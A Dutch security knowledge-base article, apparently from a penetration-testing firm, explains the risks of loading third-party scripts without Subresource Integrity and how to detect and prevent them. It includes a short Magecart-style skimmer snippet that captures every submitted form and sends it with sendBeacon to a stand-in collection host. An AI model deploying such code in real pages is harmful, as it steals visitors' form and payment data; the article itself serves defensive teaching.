Direct naar inhoud

Externe scripts zonder integriteitscontrole

CWE-353CWE-494OWASP A08:2021Bijgewerkt 3 september 20265 min leestijd

Wie JavaScript van een externe bron laadt zonder Subresource Integrity, voert blind uit wat die partij op dat moment aflevert. Wordt het CDN of de toeleveringsketen gecompromitteerd, dan draait de aangepaste code met alle rechten op uw domein. Een integrity-attribuut laat de browser de inhoud controleren en het bestand weigeren zodra het ook maar één byte afwijkt.

Een script van een CDN is één regel HTML, en met die ene regel geeft u een externe partij toestemming om code uit te voeren in de browser van al uw bezoekers, met alle rechten die uw eigen pagina heeft. In dit artikel leest u waarom dat vertrouwen zelden expliciet wordt gemaakt, hoe één gecompromitteerd bestand een hele klantenkring raakt en hoe u met een hash die deur op slot zet.

Wat is Subresource Integrity?

Subresource Integrity (SRI) is een browsermechanisme waarmee u vastlegt hoe een extern bestand er precies uit hoort te zien. U neemt een cryptografische vingerafdruk van de inhoud op in het integrity-attribuut; de browser berekent bij het ophalen dezelfde vingerafdruk en vergelijkt beide. Komen ze niet overeen, dan wordt het bestand niet uitgevoerd.

Het is in feite een verzegeling. U bestelt een onderdeel bij een leverancier en spreekt af hoe het zegel eruitziet; komt het pakket met een ander zegel binnen, dan gaat het ongeopend retour. Wat er onderweg mee gebeurd is doet er niet toe, of het nu de leverancier zelf was, een tussenpartij of iemand die het transport onderschepte.

Zonder SRI ontbreekt dat zegel. De browser haalt het bestand op en voert uit wat er die dag toevallig staat. Dat gaat jarenlang goed, precies zolang als de externe partij en haar hele toeleveringsketen ongeschonden blijven.

Hoe werkt een aanval via een externe bron?

De aanvaller richt zich niet op uw applicatie maar op wat u binnenhaalt: een populaire bibliotheek, een analytics-script, een chatwidget of het CDN dat die bestanden uitlevert. Eén wijziging daar raakt in één klap iedereen die het bestand insluit.

Kwetsbaar:

<script src="https://cdn.example/grafieken/3.2.1/grafieken.min.js"></script>

De browser haalt dit bestand op en voert het uit, wat de inhoud ook is. Wordt het account van de beheerder bij dat CDN overgenomen, of slaagt iemand erin een kwaadaardige versie in de distributieketen te krijgen, dan draait vanaf dat moment het volgende mee op uw domein:

// Toegevoegd aan de originele bibliotheek, in de browser van al uw bezoekers
document.addEventListener('submit', (e) => {
  const velden = Object.fromEntries(new FormData(e.target));
  navigator.sendBeacon('https://verzamel.example/in', JSON.stringify(velden));
});

Deze code draait binnen uw origin. Dat betekent: toegang tot cookies die niet op HttpOnly staan, tot de inhoud van elk formulier en tot de volledige DOM. Uw eigen code is nergens aangepast, uw servers zijn niet aangeraakt en in uw logbestanden is niets terug te vinden. Dit patroon is de kern van de zogeheten magecart-aanvallen, waarbij betaalgegevens werden afgetapt bij webwinkels die zelf niets fout hadden gedaan.

Veilig:

<script
  src="https://cdn.example/grafieken/3.2.1/grafieken.min.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous"
  referrerpolicy="no-referrer"></script>

De browser haalt het bestand op, berekent de SHA-384-hash van de inhoud en vergelijkt die met wat u hebt opgegeven. Bij ook maar één byte verschil wordt het script niet uitgevoerd en verschijnt er een foutmelding in de console. De aangepaste versie draait dus nooit. crossorigin="anonymous" is daarbij noodzakelijk, omdat de browser de inhoud anders niet mag lezen en de controle niet kán uitvoeren.

U kunt de eis ook centraal afdwingen, zodat een vergeten attribuut niet ongemerkt door de review glipt:

Content-Security-Policy: require-sri-for script style; script-src 'self' https://cdn.example
Een integrity-attribuut op een bestand zonder versienummer in het pad is een storing die staat te wachten. Wijzigt de leverancier de inhoud achter dezelfde URL, dan klopt uw hash niet meer en blokkeert de browser het script, met een stukgelopen pagina tot gevolg. Verwijs altijd naar een vastgezette versie.

Wat is de impact van externe scripts zonder integriteitscontrole?

Zolang de externe bron ongeschonden is, gebeurt er niets en blijft dit een hardeningbevinding met een lage ernst. De betekenis zit in het scenario waarin het wél misgaat, en dan is de impact vrijwel maximaal: willekeurige code-uitvoering in de browser van iedere bezoeker, op uw domein, met toegang tot sessies en formulierinhoud.

Er speelt daarnaast een privacyaspect dat vaak over het hoofd wordt gezien. Elke keer dat een browser een bestand bij een externe partij ophaalt, geeft hij daar het IP-adres, de user-agent en, afhankelijk van uw referrerbeleid, de bezochte pagina prijs. Bij een dienst die op veel sites wordt ingesloten, ontstaat zo een gedetailleerd beeld van het surfgedrag van uw bezoekers, wat onder de AVG een verwerking is waarvoor u verantwoordelijk blijft.

Ten slotte is er de beschikbaarheidskant: gaat het CDN plat, dan gaat uw functionaliteit mee. Een afhankelijkheid die u niet beheert, is ook een afhankelijkheid die u niet kunt herstellen.

Hoe spoor je externe scripts zonder integriteitscontrole op?

Een tester inventariseert eerst welke externe bronnen de applicatie laadt (scripts, stylesheets, lettertypen, widgets en pixels) en controleert per stuk of er een integrity- en crossorigin-attribuut aanwezig is. Dat levert vrijwel altijd een langere lijst op dan verwacht, omdat marketingtags en ingesloten componenten op eigen houtje weer andere bestanden binnenhalen.

Vervolgens komen de inhoudelijke vragen. Verwijst de URL naar een vastgezette versie of naar een pad dat de leverancier stilzwijgend kan bijwerken? Klopt de hash nog met het bestand dat vandaag wordt geleverd? Staat er in de CSP een script-src die het hele CDN toelaat, inclusief door gebruikers geüploade bestanden? En laadt een toegestaan script op zijn beurt weer andere domeinen in, waarmee de vertrouwensketen zich ongemerkt uitbreidt? AssistSec brengt bij een penetratietest die volledige keten in kaart, inclusief de bronnen die pas tijdens gebruik worden ingeladen en daardoor niet in de statische HTML zichtbaar zijn.

Hoe voorkom je externe scripts zonder integriteitscontrole?

  • Host scripts en stylesheets van derden bij voorkeur zelf, zodat de externe partij buiten de vertrouwensketen valt.
  • Kan dat niet, voeg dan altijd integrity en crossorigin="anonymous" toe aan externe <script>- en <link>-elementen.
  • Verwijs uitsluitend naar URL’s met een vastgezet versienummer, nooit naar een pad dat de leverancier kan bijwerken.
  • Dwing de eis centraal af met require-sri-for in uw Content Security Policy.
  • Beperk in script-src de toegestane bronnen tot specifieke domeinen en paden, niet tot een heel CDN.
  • Werk de hash bij als onderdeel van het reguliere updateproces van de bibliotheek, niet als losse handeling achteraf.
  • Inventariseer periodiek welke externe bestanden uw applicatie werkelijk laadt, inclusief die van marketing- en analytics-tags.
  • Beoordeel per externe bron of die noodzakelijk is; de veiligste afhankelijkheid is de afhankelijkheid die u schrapt.

Bronnen

Veelgestelde vragen

Werkt SRI ook voor bestanden die regelmatig wijzigen?

Nee, en dat is de belangrijkste beperking. Een hash hoort bij één exacte versie van een bestand; verandert de inhoud, dan blokkeert de browser het. Voor bibliotheken met een vast versienummer is dat juist de bedoeling. Voor een bestand dat de leverancier stilzwijgend bijwerkt, is SRI ongeschikt en moet u het bestand zelf hosten.

Waarom is het crossorigin-attribuut nodig?

Om de hash te kunnen controleren moet de browser de volledige inhoud van het bestand kunnen lezen. Bij een verzoek naar een ander domein gebeurt dat alleen als het als CORS-verzoek wordt gedaan. Zonder crossorigin=anonymous krijgt de browser een ondoorzichtig antwoord en kan hij de controle niet uitvoeren.

Beschermt SRI tegen een kwaadaardige bibliotheek?

Nee. SRI garandeert alleen dat u exact het bestand krijgt dat u hebt goedgekeurd; het zegt niets over de vraag of die code deugt. Was de versie die u vastlegde al kwaadaardig, dan wordt die trouw geleverd. SRI dekt manipulatie onderweg af, niet de betrouwbaarheid van de leverancier.

Is zelf hosten beter dan SRI?

In veel gevallen wel. Een bestand op uw eigen infrastructuur haalt de externe partij volledig uit de vertrouwensketen en voorkomt bovendien dat het IP-adres van elke bezoeker bij die partij terechtkomt. SRI is de juiste oplossing wanneer zelf hosten niet haalbaar is, bijvoorbeeld bij een dienst die actief onderhoud vereist.

Verwante artikelen

Druk op / om te zoeken · Esc